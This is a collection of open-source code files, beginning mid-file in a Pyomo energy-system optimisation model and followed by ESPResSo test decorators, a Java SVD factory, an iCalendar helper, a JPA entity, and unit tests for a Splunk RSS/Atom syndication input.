initialize=commodity_subset(m.com_tuples, 'Demand'),
doc='Commodities that have a demand (implies timeseries)')
m.com_env = pyomo.Set(
within=m.com,
initialize=commodity_subset(m.com_tuples, 'Env'),
doc='Commodities that (might) have a maximum creation limit')
# process tuples for area rule
m.pro_area_tuples = pyomo.Set(
within=m.stf * m.sit * m.pro,
initialize=tuple(m.proc_area_dict.keys()),
doc='Processes and Sites with area Restriction')
# process input/output
m.pro_input_tuples = pyomo.Set(
within=m.stf * m.sit * m.pro * m.com,
initialize=[(stf, site, process, commodity)
for (stf, site, process) in m.pro_tuples
for (s, pro, commodity) in tuple(m.r_in_dict.keys())
if process == pro and s == stf],
doc='Commodities consumed by process by site,'
'e.g. (2020,Mid,PV,Solar)')
m.pro_output_tuples = pyomo.Set(
within=m.stf * m.sit * m.pro * m.com,
initialize=[(stf, site, process, commodity)
for (stf, site, process) in m.pro_tuples
for (s, pro, commodity) in tuple(m.r_out_dict.keys())
if process == pro and s == stf],
doc='Commodities produced by process by site, e.g. (2020,Mid,PV,Elec)')
# process tuples for maximum gradient feature
m.pro_maxgrad_tuples = pyomo.Set(
within=m.stf * m.sit * m.pro,
initialize=[(stf, sit, pro)
for (stf, sit, pro) in m.pro_tuples
if m.process_dict['max-grad'][stf, sit, pro] < 1.0 / dt],
doc='Processes with maximum gradient smaller than timestep length')
# process tuples for partial feature
m.pro_partial_tuples = pyomo.Set(
within=m.stf * m.sit * m.pro,
initialize=[(stf, site, process)
for (stf, site, process) in m.pro_tuples
for (s, pro, _) in tuple(m.r_in_min_fraction_dict.keys())
if process == pro and s == stf],
doc='Processes with partial input')
m.pro_partial_input_tuples = pyomo.Set(
within=m.stf * m.sit * m.pro * m.com,
initialize=[(stf, site, process, commodity)
for (stf, site, process) in m.pro_partial_tuples
for (s, pro, commodity) in tuple(m.r_in_min_fraction_dict
.keys())
if process == pro and s == stf],
doc='Commodities with partial input ratio,'
'e.g. (2020,Mid,Coal PP,Coal)')
m.pro_partial_output_tuples = pyomo.Set(
within=m.stf * m.sit * m.pro * m.com,
initialize=[(stf, site, process, commodity)
for (stf, site, process) in m.pro_partial_tuples
for (s, pro, commodity) in tuple(m.r_out_min_fraction_dict
.keys())
if process == pro and s == stf],
doc='Commodities with partial input ratio, e.g. (Mid,Coal PP,CO2)')
# Variables
# costs
m.costs = pyomo.Var(
m.cost_type,
within=pyomo.Reals,
doc='Costs by type (EUR/a)')
# commodity
m.e_co_stock = pyomo.Var(
m.tm, m.com_tuples,
within=pyomo.NonNegativeReals,
doc='Use of stock commodity source (MW) per timestep')
# process
m.cap_pro_new = pyomo.Var(
m.pro_tuples,
within=pyomo.NonNegativeReals,
doc='New process capacity (MW)')
# process capacity as expression object
# (variable if expansion is possible, else static)
m.cap_pro = pyomo.Expression(
m.pro_tuples,
rule=def_process_capacity_rule,
doc='Total process capacity (MW)')
m.tau_pro = pyomo.Var(
m.t, m.pro_tuples,
within=pyomo.NonNegativeReals,
doc='Power flow (MW) through process')
m.e_pro_in = pyomo.Var(
m.tm, m.pro_input_tuples,
within=pyomo.NonNegativeReals,
doc='Power flow of commodity into process (MW) per timestep')
m.e_pro_out = pyomo.Var(
m.tm, m.pro_output_tuples,
within=pyomo.NonNegativeReals,
doc='Power flow out of process (MW) per timestep')
# Add additional features
# called features are declared in distinct files in features folder
if m.mode['tra']:
if m.mode['dpf']:
m = add_transmission_dc(m)
else:
m = add_transmission(m)
if m.mode['sto']:
m = add_storage(m)
if m.mode['dsm']:
m = add_dsm(m)
if m.mode['bsp']:
m = add_buy_sell_price(m)
if m.mode['tve']:
m = add_time_variable_efficiency(m)
else:
m.pro_timevar_output_tuples = pyomo.Set(
within=m.stf * m.sit * m.pro * m.com,
doc='empty set needed for (partial) process output')
# Equation declarations
# equation bodies are defined in separate functions, referred to here by
# their name in the "rule" keyword.
# commodity
m.res_vertex = pyomo.Constraint(
m.tm, m.com_tuples,
rule=res_vertex_rule,
doc='storage + transmission + process + source + buy - sell == demand')
m.res_stock_step = pyomo.Constraint(
m.tm, m.com_tuples,
rule=res_stock_step_rule,
doc='stock commodity input per step <= commodity.maxperstep')
m.res_stock_total = pyomo.Constraint(
m.com_tuples,
rule=res_stock_total_rule,
doc='total stock commodity input <= commodity.max')
m.res_env_step = pyomo.Constraint(
m.tm, m.com_tuples,
rule=res_env_step_rule,
doc='environmental output per step <= commodity.maxperstep')
m.res_env_total = pyomo.Constraint(
m.com_tuples,
rule=res_env_total_rule,
doc='total environmental commodity output <= commodity.max')
# process
m.def_process_input = pyomo.Constraint(
m.tm, m.pro_input_tuples - m.pro_partial_input_tuples,
rule=def_process_input_rule,
doc='process input = process throughput * input ratio')
m.def_process_output = pyomo.Constraint(
m.tm, (m.pro_output_tuples - m.pro_partial_output_tuples -
m.pro_timevar_output_tuples),
rule=def_process_output_rule,
doc='process output = process throughput * output ratio')
m.def_intermittent_supply = pyomo.Constraint(
m.tm, m.pro_input_tuples,
rule=def_intermittent_supply_rule,
doc='process output = process capacity * supim timeseries')
m.res_process_throughput_by_capacity = pyomo.Constraint(
m.tm, m.pro_tuples,
rule=res_process_throughput_by_capacity_rule,
doc='process throughput <= total process capacity')
m.res_process_maxgrad_lower = pyomo.Constraint(
m.tm, m.pro_maxgrad_tuples,
rule=res_process_maxgrad_lower_rule,
doc='throughput may not decrease faster than maximal gradient')
m.res_process_maxgrad_upper = pyomo.Constraint(
m.tm, m.pro_maxgrad_tuples,
rule=res_process_maxgrad_upper_rule,
doc='throughput may not increase faster than maximal gradient')
m.res_process_capacity = pyomo.Constraint(
m.pro_tuples,
rule=res_process_capacity_rule,
doc='process.cap-lo <= total process capacity <= process.cap-up')
m.res_area = pyomo.Constraint(
m.sit_tuples,
rule=res_area_rule,
doc='used process area <= total process area')
m.res_throughput_by_capacity_min = pyomo.Constraint(
m.tm, m.pro_partial_tuples,
rule=res_throughput_by_capacity_min_rule,
doc='cap_pro * min-fraction <= tau_pro')
m.def_partial_process_input = pyomo.Constraint(
m.tm, m.pro_partial_input_tuples,
rule=def_partial_process_input_rule,
doc='e_pro_in = '
' cap_pro * min_fraction * (r - R) / (1 - min_fraction)'
' + tau_pro * (R - min_fraction * r) / (1 - min_fraction)')
m.def_partial_process_output = pyomo.Constraint(
m.tm,
(m.pro_partial_output_tuples -
(m.pro_partial_output_tuples & m.pro_timevar_output_tuples)),
rule=def_partial_process_output_rule,
doc='e_pro_out = '
' cap_pro * min_fraction * (r - R) / (1 - min_fraction)'
' + tau_pro * (R - min_fraction * r) / (1 - min_fraction)')
#if m.mode['int']:
# m.res_global_co2_limit = pyomo.Constraint(
# m.stf,
# rule=res_global_co2_limit_rule,
# doc='total co2 commodity output <= global.prop CO2 limit')
# costs
m.def_costs = pyomo.Constraint(
m.cost_type,
rule=def_costs_rule,
doc='main cost function by cost type')
# objective and global constraints
if m.obj.value == 'cost':
m.res_global_co2_limit = pyomo.Constraint(
m.stf,
rule=res_global_co2_limit_rule,
doc='total co2 commodity output <= Global CO2 limit')
if m.mode['int']:
m.res_global_co2_budget = pyomo.Constraint(
rule=res_global_co2_budget_rule,
doc='total co2 commodity output <= global.prop CO2 budget')
m.res_global_cost_limit = pyomo.Constraint(
m.stf,
rule=res_global_cost_limit_rule,
doc='total costs <= Global cost limit')
m.objective_function = pyomo.Objective(
rule=cost_rule,
sense=pyomo.minimize,
doc='minimize(cost = sum of all cost types)')
elif m.obj.value == 'CO2':
m.res_global_cost_limit = pyomo.Constraint(
m.stf,
rule=res_global_cost_limit_rule,
doc='total costs <= Global cost limit')
if m.mode['int']:
m.res_global_cost_budget = pyomo.Constraint(
rule=res_global_cost_budget_rule,
doc='total costs <= global.prop Cost budget')
m.res_global_co2_limit = pyomo.Constraint(
m.stf,
rule=res_global_co2_limit_rule,
doc='total co2 commodity output <= Global CO2 limit')
m.objective_function = pyomo.Objective(
rule=co2_rule,
sense=pyomo.minimize,
doc='minimize total CO2 emissions')
else:
raise NotImplementedError("Non-implemented objective quantity. Set "
"either 'cost' or 'CO2' as the objective in "
"runme.py!")
if dual:
m.dual = pyomo.Suffix(direction=pyomo.Suffix.IMPORT)
return m
# Constraints
# commodity
# vertex equation: calculate balance for given commodity and site;
# contains implicit constraints for process activity, import/export and
# storage activity (calculated by function commodity_balance);
# contains implicit constraint for stock commodity source term
def res_vertex_rule(m, tm, stf, sit, com, com_type):
# environmental or supim commodities don't have this constraint (yet)
if com in m.com_env:
return pyomo.Constraint.Skip
if com in m.com_supim:
return pyomo.Constraint.Skip
# helper function commodity_balance calculates balance from input to
# and output from processes, storage and transmission.
# if power_surplus > 0: production/storage/imports create net positive
# amount of commodity com
# if power_surplus < 0: production/storage/exports consume a net
# amount of the commodity com
power_surplus = - commodity_balance(m, tm, stf, sit, com)
# if com is a stock commodity, the commodity source term e_co_stock
# can supply a possibly negative power_surplus
if com in m.com_stock:
power_surplus += m.e_co_stock[tm, stf, sit, com, com_type]
# if Buy and sell prices are enabled
if m.mode['bsp']:
power_surplus += bsp_surplus(m, tm, stf, sit, com, com_type)
# if com is a demand commodity, the power_surplus is reduced by the
# demand value; no scaling by m.dt or m.weight is needed here, as this
# constraint is about power (MW), not energy (MWh)
if com in m.com_demand:
try:
power_surplus -= m.demand_dict[(sit, com)][(stf, tm)]
except KeyError:
pass
if m.mode['dsm']:
power_surplus += dsm_surplus(m, tm, stf, sit, com)
return power_surplus == 0
# stock commodity purchase == commodity consumption, according to
# commodity_balance of current (time step, site, commodity);
# limit stock commodity use per time step
def res_stock_step_rule(m, tm, stf, sit, com, com_type):
if com not in m.com_stock:
return pyomo.Constraint.Skip
else:
return (m.e_co_stock[tm, stf, sit, com, com_type] <=
m.dt * m.commodity_dict['maxperhour']
[(stf, sit, com, com_type)])
# limit stock commodity use in total (scaled to annual consumption, thanks
# to m.weight)
def res_stock_total_rule(m, stf, sit, com, com_type):
if com not in m.com_stock:
return pyomo.Constraint.Skip
else:
# calculate total consumption of commodity com
total_consumption = 0
for tm in m.tm:
total_consumption += (
m.e_co_stock[tm, stf, sit, com, com_type])
total_consumption *= m.weight
return (total_consumption <=
m.commodity_dict['max'][(stf, sit, com, com_type)])
# environmental commodity creation == - commodity_balance of that commodity
# used for modelling emissions (e.g. CO2) or other end-of-pipe results of
# any process activity;
# limit environmental commodity output per time step
def res_env_step_rule(m, tm, stf, sit, com, com_type):
if com not in m.com_env:
return pyomo.Constraint.Skip
else:
environmental_output = - commodity_balance(m, tm, stf, sit, com)
return (environmental_output <=
m.dt * m.commodity_dict['maxperhour']
[(stf, sit, com, com_type)])
# limit environmental commodity output in total (scaled to annual
# emissions, thanks to m.weight)
def res_env_total_rule(m, stf, sit, com, com_type):
if com not in m.com_env:
return pyomo.Constraint.Skip
else:
# calculate total creation of environmental commodity com
env_output_sum = 0
for tm in m.tm:
env_output_sum += (- commodity_balance(m, tm, stf, sit, com))
env_output_sum *= m.weight
return (env_output_sum <=
m.commodity_dict['max'][(stf, sit, com, com_type)])
# process
# process capacity (for m.cap_pro Expression)
def def_process_capacity_rule(m, stf, sit, pro):
if m.mode['int']:
if (sit, pro, stf) in m.inst_pro_tuples:
if (sit, pro, min(m.stf)) in m.pro_const_cap_dict:
cap_pro = m.process_dict['inst-cap'][(stf, sit, pro)]
else:
cap_pro = \
(sum(m.cap_pro_new[stf_built, sit, pro]
for stf_built in m.stf
if (sit, pro, stf_built, stf)
in m.operational_pro_tuples) +
m.process_dict['inst-cap'][(min(m.stf), sit, pro)])
else:
cap_pro = sum(
m.cap_pro_new[stf_built, sit, pro]
for stf_built in m.stf
if (sit, pro, stf_built, stf) in m.operational_pro_tuples)
else:
if (sit, pro, stf) in m.pro_const_cap_dict:
cap_pro = m.process_dict['inst-cap'][(stf, sit, pro)]
else:
cap_pro = (m.cap_pro_new[stf, sit, pro] +
m.process_dict['inst-cap'][(stf, sit, pro)])
return cap_pro
# process input power == process throughput * input ratio
def def_process_input_rule(m, tm, stf, sit, pro, com):
return (m.e_pro_in[tm, stf, sit, pro, com] ==
m.tau_pro[tm, stf, sit, pro] * m.r_in_dict[(stf, pro, com)])
# process output power = process throughput * output ratio
def def_process_output_rule(m, tm, stf, sit, pro, com):
return (m.e_pro_out[tm, stf, sit, pro, com] ==
m.tau_pro[tm, stf, sit, pro] * m.r_out_dict[(stf, pro, com)])
# process input (for supim commodity) = process capacity * timeseries
def def_intermittent_supply_rule(m, tm, stf, sit, pro, coin):
if coin in m.com_supim:
return (m.e_pro_in[tm, stf, sit, pro, coin] ==
m.cap_pro[stf, sit, pro] * m.supim_dict[(sit, coin)]
[(stf, tm)] * m.dt)
else:
return pyomo.Constraint.Skip
# process throughput <= process capacity
def res_process_throughput_by_capacity_rule(m, tm, stf, sit, pro):
return (m.tau_pro[tm, stf, sit, pro] <= m.dt * m.cap_pro[stf, sit, pro])
def res_process_maxgrad_lower_rule(m, t, stf, sit, pro):
return (m.tau_pro[t - 1, stf, sit, pro] -
m.cap_pro[stf, sit, pro] *
m.process_dict['max-grad'][(stf, sit, pro)] * m.dt <=
m.tau_pro[t, stf, sit, pro])
def res_process_maxgrad_upper_rule(m, t, stf, sit, pro):
return (m.tau_pro[t - 1, stf, sit, pro] +
m.cap_pro[stf, sit, pro] *
m.process_dict['max-grad'][(stf, sit, pro)] * m.dt >=
m.tau_pro[t, stf, sit, pro])
def res_throughput_by_capacity_min_rule(m, tm, stf, sit, pro):
return (m.tau_pro[tm, stf, sit, pro] >=
m.cap_pro[stf, sit, pro] *
m.process_dict['min-fraction'][(stf, sit, pro)] * m.dt)
def def_partial_process_input_rule(m, tm, stf, sit, pro, coin):
# input ratio at maximum operation point
R = m.r_in_dict[(stf, pro, coin)]
# input ratio at lowest operation point
r = m.r_in_min_fraction_dict[stf, pro, coin]
min_fraction = m.process_dict['min-fraction'][(stf, sit, pro)]
online_factor = min_fraction * (r - R) / (1 - min_fraction)
throughput_factor = (R - min_fraction * r) / (1 - min_fraction)
return (m.e_pro_in[tm, stf, sit, pro, coin] ==
m.dt * m.cap_pro[stf, sit, pro] * online_factor +
m.tau_pro[tm, stf, sit, pro] * throughput_factor)
def def_partial_process_output_rule(m, tm, stf, sit, pro, coo):
# input ratio at maximum operation point
R = m.r_out_dict[stf, pro, coo]
# input ratio at lowest operation point
r = m.r_out_min_fraction_dict[stf, pro, coo]
min_fraction = m.process_dict['min-fraction'][(stf, sit, pro)]
online_factor = min_fraction * (r - R) / (1 - min_fraction)
throughput_factor = (R - min_fraction * r) / (1 - min_fraction)
return (m.e_pro_out[tm, stf, sit, pro, coo] ==
m.dt * m.cap_pro[stf, sit, pro] * online_factor +
m.tau_pro[tm, stf, sit, pro] * throughput_factor)
# lower bound <= process capacity <= upper bound
def res_process_capacity_rule(m, stf, sit, pro):
return (m.process_dict['cap-lo'][stf, sit, pro],
m.cap_pro[stf, sit, pro],
m.process_dict['cap-up'][stf, sit, pro])
# used process area <= maximal process area
def res_area_rule(m, stf, sit):
if m.site_dict['area'][stf, sit] >= 0 and sum(
m.process_dict['area-per-cap'][st, s, p]
for (st, s, p) in m.pro_area_tuples
if s == sit and st == stf) > 0:
total_area = sum(m.cap_pro[st, s, p] *
m.process_dict['area-per-cap'][st, s, p]
for (st, s, p) in m.pro_area_tuples
if s == sit and st == stf)
return total_area <= m.site_dict['area'][stf, sit]
else:
# Skip constraint, if area is not numeric
return pyomo.Constraint.Skip
# total CO2 output <= Global CO2 limit
def res_global_co2_limit_rule(m, stf):
if math.isinf(m.global_prop_dict['value'][stf, 'CO2 limit']):
return pyomo.Constraint.Skip
elif m.global_prop_dict['value'][stf, 'CO2 limit'] >= 0:
co2_output_sum = 0
for tm in m.tm:
for sit in m.sit:
# minus because negative commodity_balance represents creation
# of that commodity.
co2_output_sum += (- commodity_balance(m, tm,
stf, sit, 'CO2'))
# scaling to annual output (cf. definition of m.weight)
co2_output_sum *= m.weight
return (co2_output_sum <= m.global_prop_dict['value']
[stf, 'CO2 limit'])
else:
return pyomo.Constraint.Skip
# CO2 output in entire period <= Global CO2 budget
def res_global_co2_budget_rule(m):
if math.isinf(m.global_prop_dict['value'][min(m.stf_list), 'CO2 budget']):
return pyomo.Constraint.Skip
elif (m.global_prop_dict['value'][min(m.stf_list), 'CO2 budget']) >= 0:
co2_output_sum = 0
for stf in m.stf:
for tm in m.tm:
for sit in m.sit:
# minus because negative commodity_balance represents
# creation of that commodity.
co2_output_sum += (- commodity_balance
(m, tm, stf, sit, 'CO2') *
m.weight *
stf_dist(stf, m))
return (co2_output_sum <=
m.global_prop_dict['value'][min(m.stf), 'CO2 budget'])
else:
return pyomo.Constraint.Skip
# total cost of one year <= Global cost limit
def res_global_cost_limit_rule(m, stf):
if math.isinf(m.global_prop_dict["value"][stf, "Cost limit"]):
return pyomo.Constraint.Skip
elif m.global_prop_dict["value"][stf, "Cost limit"] >= 0:
return(pyomo.summation(m.costs) <= m.global_prop_dict["value"]
[stf, "Cost limit"])
else:
return pyomo.Constraint.Skip
# total cost in entire period <= Global cost budget
def res_global_cost_budget_rule(m):
if math.isinf(m.global_prop_dict["value"][min(m.stf), "Cost budget"]):
return pyomo.Constraint.Skip
elif m.global_prop_dict["value"][min(m.stf), "Cost budget"] >= 0:
return(pyomo.summation(m.costs) <= m.global_prop_dict["value"]
[min(m.stf), "Cost budget"])
else:
return pyomo.Constraint.Skip
# Costs and emissions
def def_costs_rule(m, cost_type):
#Calculate total costs by cost type.
#Sums up process activity and capacity expansions
#and sums them in the cost types that are specified in the set
#m.cost_type. To change or add cost types, add/change entries
#there and modify the if/elif cases in this function accordingly.
#Cost types are
# - Investment costs for process power, storage power and
# storage capacity. They are multiplied by the investment
# factors. Rest values of units are subtracted.
# - Fixed costs for process power, storage power and storage
# capacity.
# - Variables costs for usage of processes, storage and transmission.
# - Fuel costs for stock commodity purchase.
if cost_type == 'Invest':
cost = \
sum(m.cap_pro_new[p] *
m.process_dict['inv-cost'][p] *
m.process_dict['invcost-factor'][p]
for p in m.pro_tuples)
if m.mode['int']:
cost -= \
sum(m.cap_pro_new[p] *
m.process_dict['inv-cost'][p] *
m.process_dict['overpay-factor'][p]
for p in m.pro_tuples)
if m.mode['tra']:
# transmission_cost is defined in transmission.py
cost += transmission_cost(m, cost_type)
if m.mode['sto']:
# storage_cost is defined in storage.py
cost += storage_cost(m, cost_type)
return m.costs[cost_type] == cost
elif cost_type == 'Fixed':
cost = \
sum(m.cap_pro[p] * m.process_dict['fix-cost'][p] *
m.process_dict['cost_factor'][p]
for p in m.pro_tuples)
if m.mode['tra']:
cost += transmission_cost(m, cost_type)
if m.mode['sto']:
cost += storage_cost(m, cost_type)
return m.costs[cost_type] == cost
elif cost_type == 'Variable':
cost = \
sum(m.tau_pro[(tm,) + p] * m.weight *
m.process_dict['var-cost'][p] *
m.process_dict['cost_factor'][p]
for tm in m.tm
for p in m.pro_tuples)
if m.mode['tra']:
cost += transmission_cost(m, cost_type)
if m.mode['sto']:
cost += storage_cost(m, cost_type)
return m.costs[cost_type] == cost
elif cost_type == 'Fuel':
return m.costs[cost_type] == sum(
m.e_co_stock[(tm,) + c] * m.weight *
m.commodity_dict['price'][c] *
m.commodity_dict['cost_factor'][c]
for tm in m.tm for c in m.com_tuples
if c[2] in m.com_stock)
elif cost_type == 'Environmental':
return m.costs[cost_type] == sum(
- commodity_balance(m, tm, stf, sit, com) * m.weight *
m.commodity_dict['price'][(stf, sit, com, com_type)] *
m.commodity_dict['cost_factor'][(stf, sit, com, com_type)]
for tm in m.tm
for stf, sit, com, com_type in m.com_tuples
if com in m.com_env)
# Revenue and Purchase costs defined in BuySellPrice.py
elif cost_type == 'Revenue':
return m.costs[cost_type] == revenue_costs(m)
elif cost_type == 'Purchase':
return m.costs[cost_type] == purchase_costs(m)
else:
raise NotImplementedError("Unknown cost type.")
def cost_rule(m):
return pyomo.summation(m.costs)
# CO2 output in entire period <= Global CO2 budget
def co2_rule(m):
co2_output_sum = 0
for stf in m.stf:
for tm in m.tm:
for sit in m.sit:
# minus because negative commodity_balance represents
# creation of that commodity.
if m.mode['int']:
co2_output_sum += (- commodity_balance(m, tm, stf, sit, 'CO2') *
m.weight * stf_dist(stf, m))
else:
co2_output_sum += (- commodity_balance(m, tm, stf, sit, 'CO2') *
m.weight)
return (co2_output_sum)
| gpl-3.0 |
mkuron/espresso | testsuite/python/unittest_decorators.py | 2063 | # Copyright (C) 2019 The ESPResSo project
#
# This file is part of ESPResSo.
#
# ESPResSo is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# ESPResSo is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
import unittest
import espressomd # pylint: disable=import-error
from espressomd.utils import to_str
def _id(x):
return x
def skipIfMissingFeatures(*args):
"""Unittest skipIf decorator for missing Espresso features."""
if not espressomd.has_features(*args):
missing_features = espressomd.missing_features(*args)
return unittest.skip("Skipping test: missing feature{} {}".format(
's' if len(missing_features) else '', ', '.join(missing_features)))
return _id
def skipIfMissingModules(*args):
"""Unittest skipIf decorator for missing Python modules."""
if len(args) == 1 and not isinstance(args[0], str) and hasattr(args[0], "__iter__"):
args = set(args[0])
else:
args = set(args)
missing_modules = set(args) - set(sys.modules.keys())
if missing_modules:
return unittest.skip("Skipping test: missing python module{} {}".format(
's' if len(missing_modules) else '', ', '.join(missing_modules)))
return _id
def skipIfMissingGPU():
"""Unittest skipIf decorator for missing GPU."""
if not espressomd.gpu_available():
return unittest.skip("Skipping test: no GPU available")
devices = espressomd.cuda_init.CudaInitHandle().device_list
current_device_id = espressomd.cuda_init.CudaInitHandle().device
return _id
| gpl-3.0 |
CampagneLaboratory/bdval | src/edu/cornell/med/icb/svd/SVDFactory.java | 2916 | /*
* Copyright (C) 2007-2010 Institute for Computational Biomedicine,
* Weill Medical College of Cornell University
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package edu.cornell.med.icb.svd;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
/**
* @author Fabien Campagne Date: Dec 13, 2007 Time: 2:56:55 PM
*/
public final class SVDFactory {
/**
* Used to log debug and informational messages.
*/
private static final Log LOG = LogFactory.getLog(SVDFactory.class);
public enum ImplementationType {
COLT (SingularValueDecompositionWithColt.class),
R (SingularValueDecompositionWithR.class),
LAPACK (SingularValueDecompositionWithLAPACK.class),
MTJ (SingularValueDecompositionWithMTJ.class),
TCT (SingularValueDecompositionWithTCT.class);
private final Class<? extends SingularValueDecomposition> svdClass;
ImplementationType(final Class<? extends SingularValueDecomposition> clazz) {
svdClass = clazz;
}
public Class<? extends SingularValueDecomposition> getSvdClass() {
return svdClass;
}
}
private SVDFactory() {
super();
}
public static SingularValueDecomposition getImplementation(final ImplementationType type) {
final SingularValueDecomposition implementation;
try {
implementation = type.getSvdClass().newInstance();
} catch (InstantiationException e) {
LOG.error("No such implementation: " + type.toString(), e);
throw new SVDRuntimeException(e);
} catch (IllegalAccessException e) {
LOG.error("No such implementation: " + type.toString(), e);
throw new SVDRuntimeException(e);
}
return implementation;
}
public static SingularValueDecomposition getImplementation(final String name) {
final SingularValueDecomposition implementation;
try {
implementation = getImplementation(ImplementationType.valueOf(name));
} catch (IllegalArgumentException e) {
LOG.error("No such implementation: " + name);
throw new SVDRuntimeException(e);
}
return implementation;
}
}
| gpl-3.0 |
fboender/miniorganizer | src/lib/miniorganizer/itip.py | 1291 | #!/usr/bin/env python
#
# Copyright (C) 2008 Ferry Boender
#
# This program is free software: you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation, either version 3 of the License, or (at your option) any later
# version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# You should have received a copy of the GNU General Public License along with
# this program. If not, see <http://www.gnu.org/licenses/>.
"""
The ITIP library takes care of the exchange of iCalendar information such as
meeting requests, etc.
"""
import icalendar
class ITIP(object):
def __init__(self, base_cal, remote_cal):
self.base_cal = base_cal
self.remote_cal = remote_cal
self.events = []
# Check if the remote cal has anything we need to act upon. In there
# is something we need to act upon, we place an event in the event
# queue so that the UI can show information about it.
method = self.remote_cal.get_method()
if method.upper() == 'REQUEST':
self.events.append( ('REQUEST', self.remote_cal) )
| gpl-3.0 |
noacktino/core | openinfra_core/src/main/java/de/btu/openinfra/backend/db/jpa/model/meta/Logger.java | 1751 | package de.btu.openinfra.backend.db.jpa.model.meta;
import java.io.Serializable;
import java.util.List;
import javax.persistence.Entity;
import javax.persistence.NamedNativeQueries;
import javax.persistence.NamedNativeQuery;
import javax.persistence.NamedQueries;
import javax.persistence.NamedQuery;
import javax.persistence.OneToMany;
import javax.persistence.Table;
import de.btu.openinfra.backend.db.jpa.model.OpenInfraModelObject;
/**
* The persistent class for the logger database table.
*
*/
@Entity
@Table(schema="meta_data")
@NamedQueries({
@NamedQuery(name="Logger.findAll", query="SELECT l FROM Logger l"),
@NamedQuery(name="Logger.count", query="SELECT COUNT(l) FROM Logger l")
})
@NamedNativeQueries({
@NamedNativeQuery(name="Logger.findAllByLocaleAndOrder",
query="SELECT *, xmin "
+ "FROM logger "
+ "ORDER BY %s ",
resultClass=Logger.class)
})
public class Logger extends OpenInfraModelObject implements Serializable {
private static final long serialVersionUID = 1L;
private String logger;
//bi-directional many-to-one association to Log
@OneToMany(mappedBy="loggerBean")
private List<Log> logs;
public Logger() {
}
public String getLogger() {
return this.logger;
}
public void setLogger(String logger) {
this.logger = logger;
}
public List<Log> getLogs() {
return this.logs;
}
public void setLogs(List<Log> logs) {
this.logs = logs;
}
public Log addLog(Log log) {
getLogs().add(log);
log.setLoggerBean(this);
return log;
}
public Log removeLog(Log log) {
getLogs().remove(log);
log.setLoggerBean(null);
return log;
}
} | gpl-3.0 |
LukeMurphey/splunk-syndication-input | tests/unit.py | 7924 | # coding=utf-8
import unittest
import sys
import os
import errno
import time
from datetime import datetime, timedelta
try:
from urllib.request import HTTPBasicAuthHandler
except:
from urllib2 import HTTPBasicAuthHandler
sys.path.append( os.path.join("..", "src", "bin") )
from syndication import SyndicationModularInput
from syndication_app import feedparser
from unit_test_web_server import UnitTestWithWebServer
class SyndicationAppTestCase(UnitTestWithWebServer):
@classmethod
def tearDownClass(cls):
UnitTestWithWebServer.shutdownServer()
class TestSyndicationImport(SyndicationAppTestCase):
def test_import_rss_public(self):
results = SyndicationModularInput.get_feed("https://www.str.org/article-feed/-/journal/rss/20123/264695")
self.assertGreaterEqual(len(results), 10)
def test_import_atom_public(self):
results = SyndicationModularInput.get_feed("http://currentworldnews.blogspot.com/atom.xml")
self.assertGreaterEqual(len(results), 10)
def test_import_rss(self):
results = SyndicationModularInput.get_feed("http://127.0.0.1:8888/rss_example.xml")
self.assertGreaterEqual(len(results), 2)
def test_import_atom(self):
results = SyndicationModularInput.get_feed("http://127.0.0.1:8888/atom_example.xml")
self.assertGreaterEqual(len(results), 1)
def test_import_return_latest_date(self):
results, latest_date = SyndicationModularInput.get_feed("http://127.0.0.1:8888/atom_example.xml", return_latest_date=True)
self.assertGreaterEqual(len(results), 0)
self.assertIsNotNone(latest_date)
def test_import_filter_by_date(self):
# First get the date of the last item
results, latest_date = SyndicationModularInput.get_feed("http://127.0.0.1:8888/atom_example.xml", return_latest_date=True)
# Back off the date by a second
latest_datetime = datetime.fromtimestamp(time.mktime(latest_date))
latest_date_minus_second = latest_datetime - timedelta(seconds=1)
latest_date_minus_second_struct = latest_date_minus_second.timetuple()
# Try it and see if we get one result
results = SyndicationModularInput.get_feed("http://127.0.0.1:8888/atom_example.xml", include_later_than=latest_date_minus_second_struct)
self.assertGreaterEqual(len(results), 1)
def test_import_filter_by_date_all(self):
# First get the date of the last item
results, latest_date = SyndicationModularInput.get_feed("http://feeds.feedburner.com/456bereastreet", return_latest_date=True)
# Try it and see if we get zero results
results = SyndicationModularInput.get_feed("http://feeds.feedburner.com/456bereastreet", include_later_than=latest_date)
self.assertGreaterEqual(len(results), 0)
def test_flatten_dict(self):
d = {
'list': {
'one' : 'uno',
'two' : 'dos'
}
}
d = SyndicationModularInput.flatten(d)
self.assertEquals(len(d), 2)
self.assertEquals(d['list.one'], 'uno')
def test_flatten_dict_sort(self):
# https://lukemurphey.net/issues/2039
d = {
'list': {
'3' : 'tres',
'1' : 'uno',
'2' : 'dos',
'5' : 'cinco',
'4' : 'cuatro',
'6' : 'seis'
}
}
d = SyndicationModularInput.flatten(d, sort=True)
self.assertEquals(len(d), 6)
keys = list(d.keys())
self.assertEquals(keys[0], 'list.1')
self.assertEquals(keys[1], 'list.2')
self.assertEquals(keys[2], 'list.3')
self.assertEquals(keys[3], 'list.4')
self.assertEquals(keys[4], 'list.5')
self.assertEquals(keys[5], 'list.6')
def test_flatten_list(self):
d = {
'list': [
'first',
'second'
]
}
d = SyndicationModularInput.flatten(d)
self.assertEquals(len(d), 2)
self.assertEquals(d['list.0'], 'first')
self.assertEquals(d['list.1'], 'second')
def test_flatten_none(self):
d = {
'none': None
}
d = SyndicationModularInput.flatten(d)
